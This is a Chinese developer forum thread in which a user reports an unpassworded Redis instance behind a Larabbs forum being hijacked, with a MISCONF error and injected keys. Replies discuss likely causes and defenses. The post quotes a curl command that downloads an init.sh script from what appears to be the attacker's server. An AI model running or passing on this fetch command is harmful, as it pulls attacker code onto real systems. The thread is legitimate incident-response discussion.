部署 Larabbs 论坛线上服务器的 Redis 被黑了

今早上在打开我部署在线上服务器的 Larabbs 论坛时发现报了一个错:

MISCONF Redis is configured to save RDB snapshots, but it is currently not able to persist on disk. Commands that may modify the data set are disabled, because this instance is configured to report errors during writes if RDB snapshotting fails (stop-writes-on-bgsave-error option). Please check the Redis logs for details about the RDB error.

之后通过 127.0.0.1:6379> config set stop-writes-on-bgsave-error no 命令解决了问题。

打开 Redis 0 号数据库,发现里面多了几条 string 类型的记录 1, Back1, Back2, Back3

我部署在线上服务器的 Larabbs 论坛被黑了

执行 curl -fsSL http://198.13.42.229:8667/6HqJB0SPQqbFbHJD/init.sh 等命令得了一些脚本(因为非常长就不全贴出来了,有兴趣大家可以自己拉下来这些脚本看看):
我部署在线上服务器的 Larabbs 论坛被黑了

主要是想问两个问题:

  • 他可能是通过哪种方式在我的 Redis 数据库中留下记录的?
  • 他这些脚本是用来干嘛的?
  • 我之后该怎么防范类似的攻击

我线上服务器环境是用 Laradock 来搭的,其中 Redis 没有密码,但也没开放公网访问。

《L05 电商实战》
从零开发一个电商项目,功能包括电商后台、商品 & SKU 管理、购物车、订单管理、支付宝支付、微信支付、订单退款流程、优惠券等
《L01 基础入门》
我们将带你从零开发一个项目并部署到线上,本课程教授 Web 开发中专业、实用的技能,如 Git 工作流、Laravel Mix 前端工作流等。
讨论数量: 8

@goodgood

检查了 Laradock 中 Redis 的 Dockerfile 文件,发现 Laradock 默认没有复制 Redis 配置文件到 Redis 容器,所以我也没有设置密码。

file

5年前 评论
ThinkQ

不能没有密码

5年前 评论
StringKe

可能你其他地方往 Redis 存储过程存在漏洞,直接注入了

5年前 评论

Mark 楼主发现了之后可以分享一下,刚刚我也查了一下一篇文章,可供你参考
https://www.freebuf.com/vuls/148758.html

5年前 评论
Summer

Larabbs 代码里只有 LastActivedAtHelper.php 用到 redis,存进去哈希表里的也只有 2017-10-21 08:35:15 类似的日期数据。没有入侵的机会。

@StringKe@antted 所讲的,1. 自查下服务器上其他程序是否有直接存入用户的情况;2. 检测下远程访问是否能成功。

5年前 评论
  1. 首先确认一下是否将redis端口映射到宿主机了
  2. 查看线上环境是否使用了 redis-weui 了
5年前 评论

尽然不设置密码!你好厉害

5年前 评论

讨论应以学习和精进为目的。请勿发布不友善或者负能量的内容,与人为善,比聪明更重要!